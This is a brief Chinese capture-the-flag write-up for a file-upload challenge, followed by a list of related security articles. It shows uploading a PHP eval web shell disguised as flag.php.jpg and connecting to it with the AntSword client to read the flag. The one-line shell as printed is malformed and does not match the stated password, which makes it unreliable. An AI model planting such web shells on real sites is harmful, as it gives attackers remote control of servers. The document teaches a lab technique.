题目
1.打开靶机
随便上传一个图片，查看get请求发现**/upload/XXX.jpg**
2.创建一个脚本文件
命名为flag.php.jpg,并上传
脚本文件内容：
<?php @eval($_POST1234)?>
3上传后复制文件get请求的链接并打开蚁剑
连接密码为123
双击链接
4，查找'/'在最下面找到flag文件
5，打开文件得到flag
相关推荐
Splashtop高性能远程控制软件21 小时前
微软2026年11月补丁星期二解析：1094个 CVE、Outlook 零日 CVE-2026-124194 与修复优先级Thanks_ks2 天前
HTTPS：浏览器地址栏那把锁的工作原理曾令胜4 天前
云服务器被攻击后分析恶意脚本修复漏洞菩提小狗4 天前
每日安全情报报告 · 2026-11-09东姬AI5 天前
挖出948个内核漏洞、自动写补丁：GPT-6 Cyber把AI推进“实战岗“，内容行业还卡在哪一关？ppo_wu5 天前
解决夸克网盘自动修改PDF打开方式的方法kingx36 天前
Bugku 逆向 MatrixHunter：黑盒 oracle + GF(2) 消元出唯一解菩提小狗7 天前
每日安全情报报告 · 2026-11-07不庸.7 天前
theHarvester 入门教程：从装好到看懂输出liferecords8 天前
OpenAI 把「Critical」级挖洞模型交付出去了：GPT-6 Cyber 正式发布，越界率压到 1% 以下